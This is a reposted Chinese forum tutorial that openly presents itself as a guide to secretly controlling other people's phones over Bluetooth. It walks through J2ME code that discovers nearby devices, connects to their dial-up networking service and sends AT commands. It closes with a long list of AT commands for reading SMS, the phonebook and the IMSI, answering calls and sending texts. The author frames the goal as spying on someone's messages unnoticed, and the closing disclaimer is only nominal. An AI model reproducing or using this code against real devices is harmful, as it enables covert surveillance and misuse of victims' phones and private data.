J2ME手机蓝牙间谍控制之小弟我所见

在这篇文章里我们说说通过J2ME的蓝牙控制手机。
我们先说说控制了手机能够做什么？我们就有了手机的大部份控制权力，比如手机信息，电量，序列号，控制打电话，读取信息，电话本内容，打开对方手机的JAVA，控制多媒体播放器，可以放音乐，控制音量大小，更改对方的情景模式，发送按键信号．．．．．
? 看到"难道手机有木马？还是产商有后门？"看到这样，不免大家会发出这样的疑问．其实，都不是！
? 以前如果搞过pc控制手机或玩过modem的朋友大家应该有印象．记得AT命令吗？AT即ATTENTION，90年代初，AT指令仅被用于Modem操作。没有控制移动电话文本消息的先例，只开发了一种叫SMS BlockMode的协议，通过终端设备(TE)或电脑来完全控制SMS。几年后，主要的移动电话生产厂商诺基亚、爱立信、摩托罗拉和HP共同为GSM 研制了一整套AT指令，其中就包括对SMS的控制。AT指令在此基础上演化并被加入GSM 07.05标准以及现在的GSM07.07标准，完全标准化和比较健全的标准。
? 对！通过AT命令我们完全控制完全控制手机！我们用什么方式连接到手机呢，以前大家在控制手机的时候多半会用串口，红外．以前我短信群发的时候，用红外，控制了手机让手机进行短信群发。但是你想偷偷控制别人的手机于无形，这两种都不是太好选择，如果你用串口线或ＵＳＢ线你总不至于对你要控制的人说＂兄弟，把你的手机拿来，我插根线控制你，看你的短信！＂，如果用红外说＂兄弟，你的手机位置对正一点，不然我控制不到你了！＂，那么还得是蓝牙，距离是近是近了点，但是始终不容易被发现！

第一步，我们先看看，你的手机支持不支持J2ME的蓝牙！
try{
? Class.forName("javax.bluetooth.LocalDevice");
}
catch(Exception ex){
? System.out.println("操！我的手机不支持蓝牙");
}

第二步，如果支持蓝牙，我们就搜索一下，看看我们附近有没有蓝牙设备！

LocalDevice localDevice = LocalDevice.getLocalDevice();
discoveryAgent = localDevice.getDiscoveryAgent();//创建蓝牙搜索代理
discoveryAgent.startInquiry(DiscoveryAgent.GIAC, this);//开始搜索,这里的this是指本类．当然我们要在本类实现DiscoveryListener接口．
如果搜索到了有新设备，它会调用deviceDiscoverd()方法接收!
?public void deviceDiscovered(RemoteDevice remoteDevice, DeviceClass cod) {
? try{
? remoteDevices.addElement(remoteDevice);
? } catch(Exception e){
? System.out.println("猪呀！怎么又错了！");
? }
}

当设备发现时会调用如下方法:

public void deviceDiscovered(RemoteDevice remotedevice, DeviceClass deviceclass){
?try{
? s = remotedevice.getFriendlyName(false); //得到好友名称,这个有些时候可能为空,也有可能会报错.
?}
?catch(Exception _ex){
? try{
? s = remotedevice.getBluetoothAddress(); //得到蓝牙地址
? }
? catch(Exception _ex2) { }
?} ??
}

当搜索完成时会调用如下方法:

?public void inquiryCompleted(int discType) {
? String inqStatus = null;
? if (discType == DiscoveryListener.INQUIRY_COMPLETED) {
? inqStatus = "老子完成搜索了！厉害吧！"; ??
? } else if (discType == DiscoveryListener.INQUIRY_TERMINATED) {
? inqStatus = "讨打，叫我搜就搜，叫我停就停，面子都没有！";
? } else if (discType == DiscoveryListener.INQUIRY_ERROR) {
? inqStatus = "啊哦！老子又挂了！";
? }
? ??
? }

remoteDevices不知道是什么了吧～remoteDevices其实就是－－－一个Vector,用于存放名称及蓝牙地址的．

第三步，搜索蓝牙服务．

RemoteDevice aremotedevice[] = discoveryAgent.retrieveDevices(x);
//这语句读出以前搜索的设备,x为其参数DiscoveryAgent.CACHED(缓存设备)和DiscoveryAgent.PREKNOWN(已知设备),如果要更新设备名称就按上方法,重新刷新一下面好友名称
UUID auuid[] = {new UUID(0x1103), new UUID(0x0100)};
try{
? discoveryAgent.searchServices(null, auuid, aremotedevice[y], this);
//搜索蓝牙设备服务,auuid为指定的服务类型,0x1103代表播号网络服务,aremotedevice[y]指定设备,这里的this是指本类．当然我们要在本类实现DiscoveryListener接口
?}
?catch(Exception exception){
? ??
?}

当发现新服务时会调用如下方法:

?public void servicesDiscovered(int i, ServiceRecord aservicerecord[]) {
? try{
? if(aservicerecord.length > -1){
? Object obj = null;
? for(int j = 0; j <= aservicerecord.length - 1; j++){
? String s = aservicerecord[j1].getConnectionURL(0, false);// 读出的设备服务连接地址
? }
? System.out.println("得到服务连接地址!");
? } else{
? System.out.println("没有得到服务连接地址!"); ??
? }
? }
? catch(Exception exception){
? System.out.println("又出错了,-_-!"); ??
? }
? }

当搜索完成时会调用如下方法:

public final void serviceSearchCompleted(int i, int j){
? if(j != 1){
? System.out.println("没有搜索到任何可用服务!"); ??
? }
}

第四步,连接到设备服务,并实现输入输出.

OutputStream outputStream;
InputStream inputStream;
StreamConnection streamConnection;
streamConnection = (StreamConnection)Connector.open(s);//s为上面getConnectionURL读出的设备服务连接地址
outputStream = streamConnection.openOutputStream();//创建输出流
inputStream = streamConnection.openInputStream();//创建输入流

第五步,如果第四步没有什么问题的话.那么恭喜你,你可以完全控制他的手机了.(哈哈哈哈,奸笑中......^_^),下面我们看一下如何控制他的手机.
现在我们就可以用outputStream直输出at命令了.

如: 发送ATA 接电话命令.
String s="ATA";
outputStream.write(s.getBytes());
outputStream.write(13);
outputStream.write(10);
outputStream.flush();
最可以用inputStream.read()来接返回的消息.

再来回顾一次重点．j2ME本身就是支持蓝牙的，手机是通过播号网络服务方式支持at命令的．只要用j2ME连接到另一台手机的播号网络服务就可以直接发送at命令.可惜网上资料太少了．．．．．

下面我们就介绍一下常用的AT命令（具体看手机支持不支持,大多数是标准的^_^）：
AT+CGMI 给出模块厂商的标识。
AT+CGMM 获得模块标识。
AT+CGMR 获得改订的软件版本。
AT+CGSN 获得GSM模块的IMEI（国际移动设备标识）序列号。
AT+CSCS 选择TE特征设定。这个命令报告TE用的是哪个状态设定上的ME。ME于是可以转换每一个输入的或显示的字母。这个是用来发送、读取或者撰写短信。
AT+WPCS 设定电话簿状态。这个特殊的命令报告通过TE电话簿所用的状态的ME。ME于是可以转换每一个输入的或者显示的字符串字母。这个用来读或者写电话簿的入口。
AT+CIMI 获得IMSI。这命令用来读取或者识别SIM卡的IMSI（国际移动签署者标识）。在读取IMSI之前应该先输入PIN（如果需要PIN的话）。
AT+CCID 获得SIM卡的标识。这个命令使模块读取SIM卡上的EF-CCID文件。
AT+GCAP 获得能力表。（支持的功能）
A/ 重复上次命令。只有A/命令不能重复。这命令重复前一个执行的命令。
AT+CPOF 关机。这个特殊的命令停止GSM软件堆栈和硬件层。命令AT+CFUN=0的功能与+CPOF相同。
AT+CFUN 设定电话机能。这个命令选择移动站点的机能水平。
AT+CPAS 返回移动设备的活动状态。
AT+CMEE 报告移动设备的错误。这个命令决定允许或不允许用结果码“+CME ERROR:<xxx>”或者“+CMS ERROR:<xxx>”代替简单的“ERROR”。
AT+CKPD 小键盘控制。仿真ME小键盘执行命令。
AT+CCLK 时钟管理。这个命令用来设置或者获得ME真实时钟的当前日期和时间。
AT+CALA 警报管理。这个命令用来设定在ME中的警报日期/时间。（闹铃）
AT+CRMP 铃声旋律播放。这个命令在模块的蜂鸣器上播放一段旋律。有两种旋律可用：到来语音、数据或传真呼叫旋律和到来短信声音。
AT+CRSL 设定或获得到来的电话铃声的声音级别。
ATD 拨号命令。这个命令用来设置通话、数据或传真呼叫。
ATH 挂机命令。
ATA 接电话。
AT+CEER 扩展错误报告。这个命令给出当上一次通话设置失败后中断通话的原因。
AT+VTD 给用户提供应用GSM网络发送DTMF（双音多频）双音频。这个命令用来定义双音频的长度（默认值是300毫秒）。
AT+VTS 给用户提供应用GSM网络发送DTMF双音频。这个命令允许传送双音频。
ATDL 重拨上次电话号码。
AT%Dn 数据终端就绪（DTR）时自动拨号。
ATS0 自动应答。
AT+CICB 来电信差。
AT+CSNS 单一编号方案。
AT+VGR，AT+VGT 增益控制。这个命令应用于调节喇叭的接收增益和麦克风的传输增益。
AT+CMUT 麦克风静音控制。
AT+SPEAKER 喇叭/麦克风选择。这个特殊命令用来选择喇叭和麦克风。
AT+ECHO 回音取消。
AT+SIDET 侧音修正。
AT+VIP 初始化声音参数。
AT+DUI 用附加的用户信息拨号。
AT+HUI 用附加的用户信息挂机。
AT+RUI 接收附加用户信息。
AT+CSQ 信号质量。
AT+COPS 服务商选择。
AT+CREG 网络注册。获得手机的注册状态。
AT+WOPN 读取操作员名字。
AT+CPOL 优先操作员列表。
AT+CPIN2 输入PIN2。
AT+CPINC PIN的剩余的尝试号码。
AT+CLCK 设备锁。
AT+CPWD 改变密码。
AT+CPBS 选择电话簿记忆存储。
AT+CPBR 读取电话簿表目。
AT+CPBF 查找电话簿表目。
AT+CPBW 写电话簿表目。
AT+CPBP 电话簿电话查询。
AT+CPBN 电话簿移动动作。这个特殊命令使电话簿中的条目前移或后移（按字母顺序）
AT+CNUM 签署者号码。
AT+WAIP 防止在下一次重起时初始化所有的电话簿。
AT+WDCP 删除呼叫电话号码。
AT+CSVM 设置语音邮件号码。
AT+CSMS 选择消息服务。支持的服务有GSM-MO、SMS-MT、SMS-CB。
AT+CNMA 新信息确认应答。
AT+CPMS 优先信息存储。这个命令定义用来读写信息的存储区域。
AT+CMGF 优先信息格式。执行格式有TEXT方式和PDU方式。
AT+CSAS 保存设置。保存+CSAS和+CSMP的参数。
AT+CRES 恢复设置。
AT+CSDH 显示文本方式的参数。
AT+CNMI 新信息指示。这个命令选择如何从网络上接收短信息。
AT+CMGR 读短信。信息从+CPMS命令设定的存储器读取。
AT+CMGL 列出存储的信息。
AT+CMGS 发送信息。
AT+CMGW 写短信息并存储。
AT+CMSS 从存储器中发送信息。
AT+CSMP 设置文本模式的参数。
AT+CMGD 删除短信息。删除一个或多个短信息。
AT+CSCA 短信服务中心地址。
AT+CSCB 选择单元广播信息类型。
AT+WCBM 单元广播信息标识。
AT+WMSC 信息状态（是否读过、是否发送等等）修正。
AT+WMGO 信息覆盖写入。
AT+WUSS 不改变SMS状态。在执行+CMGR或+CMGL后仍保持UNREAD。

值得注意的是，通常有些命令是配合使用，比如发送中文短信（在设置完成手机参数后）:

outputStream.write("AT+CMGF=1".getBytes());//设置信息格式，0为TEXT方式和1为PDU方式。??
outputStream.write("AT+CMGS='12345678999',10 ".getBytes()); //发送短信到XX
outputStream.write("0x600xa80x590x7d0x000x1a".getBytes());//发送中文短信内容

好了，有了以前的知识，您就可以使用蓝牙控制其他的手机了，事先申明，如果拿去偷看别人的手机被打不关我事．此文仅在技术分析，如果更多需要交流请加我的ＱＱ：24259132，请转载者尊重一下原著的版权，谢谢

转载自http://topic.csdn.net/u/20080612/09/ea67945e-b389-434e-979b-cfb51039a966